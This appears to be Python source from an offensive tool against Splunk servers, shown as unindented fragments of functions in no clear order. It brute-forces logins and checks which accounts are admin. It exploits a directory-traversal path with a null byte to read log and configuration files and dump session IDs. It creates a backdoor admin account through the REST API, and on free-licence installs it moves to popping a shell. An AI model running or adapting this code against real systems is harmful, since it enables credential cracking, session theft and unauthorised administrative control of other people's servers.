def user_is_admin(self, username, password):
if self.splunkd == 1:
# attempt to auth via splunkd to get a sessionkey
self.username = username
self.password = password
self.splunkd_auth()
url = Requestobj(
"{0}/services/authentication/httpauth-tokens".format(
self.splunkd_url))
url.basic_auth(username, password)
context = url.makerequest()
if '<title>httpauth-tokens' in context.body:
self.got_admin = 1
return True
else:
return False
elif self.splunkweb == 1:
with misc_lock:
self.username = username
self.password = password
if self.splunkweb_auth():
admin_only = Requestobj(
"{0}/en-US/manager/launcher/server/settings/settings?action=edit"
.format(self.splunkweb_url)).makerequest()
if admin_only.find_data("Port that Splunk Web uses"):
print "[i] User:{0} IS AN ADMIN.".format(username)
return True
else:
print "[i] User:{0} is not an admin".format(username)
else:
pass
else:
print "Not Connected"
return False
def splunkweb_auth(self):
if self.web_authed == 1:
return True
login_page = Requestobj("{0}/en-GB/account/login".format(
self.splunkweb_url)).makerequest() # Get session cookie
cval = ""
cval = login_page.extract_data_body('name="cval" value="(\d+?)"')
if cval:
cval = cval[0]
r = Requestobj(login_page.url)
poststr = "cval={0}&return_to=%2Fen-GB%2F&username={1}&password={2}".format(
cval, self.username.rstrip(), self.password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
if result.find_data("This resource can be found at"):
return True
self.web_authed = 1
else:
print "[i] Login Failed"
exit()
def dump_session_ids(self):
"Exploits dir traversal issue to dump session ids"
print "[i] Attemping to dump sessions"
if self.splunkd == 1 and self.username and self.password:
#url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))
url = Requestobj("{0}/servicesNS/-/system/properties/..%2f..%2f..%2fvar%2flog%2fsplunk%2fweb_service.log%00/default".format(self.splunkd_url))
url.basic_auth(self.username,self.password)
result = url.makerequest()
sessions=[]
if "session=" in result.body:
print "[i] Session ID's extracted from web_service.log"
sessions = re.findall("session=(.+?)[<\s]",result.body)
for session in set(sessions):
print "[SESSION]",session
return set(sessions)
def add_admin(self,username,password,sessionKey):
# look for 201
if self.splunkd == 1 and self.username and self.password:
url = Requestobj("{0}/servicesNS/-/launcher/authentication/users".format(self.splunkd_url))
url.basic_auth(self.username,self.password)
url.rawpostdata("POST","roles=user&roles=admin&name={0}&defaultApp=search&password={1}&email=&createrole=0&realname=".format(username,password))
url.add_header("authorization","Splunk {0}".format(sessionKey))
result = url.makerequest()
if str(result.code) == "201":
return True
else:
return False
else:
print "[!] Not connected to splunkd. Check port and creds"
return False
def splunkd_auth(self):
login_url = "{0}/services/auth/login".format(self.splunkd_url)
r = Requestobj(login_url)
poststr = "username={0}&password={1}".format(self.username.rstrip(),self.password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
if result.find_data("Remote login disabled because you are using a free license"):
print "[i] Free licence in use. No remote login required"
print "[!] run the exploit again with the -f flag"
sys.exit()
if result.find_data("sessionKey"):
self.session_key = re.findall("<sessionKey>(.+?)</sessionKey>",result.body)[0]
return True
else:
return False
def attempt_login():
# Dont continue if we already have admin
if splunk_object.got_admin == 1:
return False
login_url = "{0}/services/auth/login".format(targeturl.rstrip())
r = Requestobj(login_url)
poststr = "username={0}&password={1}".format(username.rstrip(),
password.rstrip())
r.rawpostdata("POST", poststr)
result = r.makerequest()
counter.sub()
counter.print_remaining()
if result.find_data(
"Remote login disabled because you are using a free license"):
print "[i] Free licence in use. No remote login required"
print "[!] run the exploit again with the -f flag"
sys.exit()
if result.find_data("sessionKey"):
print "[***] Cracked: %s:%s\n" % (username.rstrip(),
password.rstrip())
try:
if splunk_object.user_is_admin(username.rstrip(),
password.rstrip()):
splunk_object.username = username.rstrip()
splunk_object.password = password.rstrip()
splunk_object.got_admin = 1
#print "ADMIN",splunk_object.got_admin
splunk_object.session_key = re.findall(
"<sessionKey>(.+?)</sessionKey>", result.body)[0]
except Exception as err:
print "[i] Error getting auth details", err
return (username, password)
else:
pass
def get_splunk_home(self):
if not self.username or not self.password:
print "[i] Valid username and password required"
sys.exit()
try:
r = Requestobj("{0}/services/properties/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt%2fsplunk%2fetc%2fsplunk-launch/default/SPLUNK_HOME".format(self.splunkd_url))
r.basic_auth(self.username,self.password)
splunkdir = r.makerequest()
if "ERROR" not in splunkdir.body and "Remote login disabled" not in splunkdir.body and self.splunkd:
self.splunk_home = splunkdir.body.strip()
else:
print "[***] Could not get home dir setting default.."
if "windows" in self.os_name.lower():
self.splunk_home = "c:\\program files\\splunk"
else:
self.splunk_home = "/opt/splunk"
print "Setting Splunk home dir to:{0}".format(self.splunk_home)
return self.splunk_home
except Exception as err:
print "[i] Error occured while attempting to read splunk home dir",err
def __init__(self, hostaddr, splunkd_port=8089, splunkweb_port=8000):
self.splunkd_port = splunkd_port
self.splunkweb_port = splunkweb_port
self.max_threads = 20
self.username = ""
self.password = ""
self.session_key = ""
self.splunk_home = ""
self.got_admin = 0
self.web_authed = 0 # are we authed to the web interface
self.freelic = 0
# Check splunkd server
info = Requestobj(
"https://{0}:{1}/services/server/info/server-info".format(
hostaddr, splunkd_port)).makerequest()
if info.body:
self.splunkd_url = "{0}://{1}".format(
urlparse.urlparse(info.url).scheme,
urlparse.urlparse(info.url).netloc)
else:
info = Requestobj(
"http://{0}:{1}/services/server/info/server-info".format(
hostaddr, splunkd_port)).makerequest()
self.splunkd_url = "{0}://{1}".format(
urlparse.urlparse(info.url).scheme,
urlparse.urlparse(info.url).netloc)
if "server-info" in info.body:
self.splunkd = 1
try:
self.os_build = re.findall("os_build\">(.+?)<", info.body)[0]
self.os_name = re.findall("os_name\">(.+?)<", info.body)[0]
self.os_version = re.findall("os_version\">(.+?)<",
info.body)[0]
self.server_name = re.findall("serverName\">(.+?)<",
info.body)[0]
self.splunk_version = re.findall("\"version\">(.+?)<",
info.body)[0]
self.cpu_arch = re.findall("cpu_arch\">(.+?)<", info.body)[0]
print "[i] Splunkd server found. Version:{0}".format(
self.splunk_version)
print "[i] OS:{0} {1} {2}".format(self.os_name,
self.os_version,
self.os_build)
except Exception as err:
print "Error getting splunk server info", err
else:
self.splunkd = 0
# Check splunk web
splunkweb_info = Requestobj(
"http://{0}:{1}/en-GB/account/login".format(
hostaddr, splunkweb_port)).makerequest()
if splunkweb_info.body:
self.splunkweb_url = "{0}://{1}".format(
urlparse.urlparse(splunkweb_info.url).scheme,
urlparse.urlparse(splunkweb_info.url).netloc)
else:
splunkweb_info = Requestobj(
"https://{0}:{1}/en-GB/account/login".format(
hostaddr, splunkweb_port)).makerequest()
self.splunkweb_url = "{0}://{1}".format(
urlparse.urlparse(splunkweb_info.url).scheme,
urlparse.urlparse(splunkweb_info.url).netloc)
if "Splunk" in splunkweb_info.body:
print "[i] Splunk web interface discovered"
self.splunkweb = 1
self.cval = ""
try:
self.cval = splunkweb_info.extract_data_body(
'name="cval" value="(\d+?)"')[0]
print "[i] CVAL:{0}".format(self.cval)
except:
print "[i] Error getting cval"
self.splunkweb = 0
else:
self.splunkweb = 0
if self.splunkweb == 1:
try:
url = "{0}/en-GB/manager/system/licensing".format(
self.splunkweb_url)
lic = Requestobj(url).makerequest()
if "<h1>Free license group</h1>" in lic.body:
print "[i] Configured with free licence. No auth required"
#if not self.splunkd:
# print "[i] Cannot connect to splunkd using free licence"
# sys.exit()
self.got_admin = 1
self.username = "******"
self.password = "******"
self.web_authed = 1
self.splunkd = 0
self.freelic = 1
self.pop_shell()
except Exception as err:
print "error", err
exit()
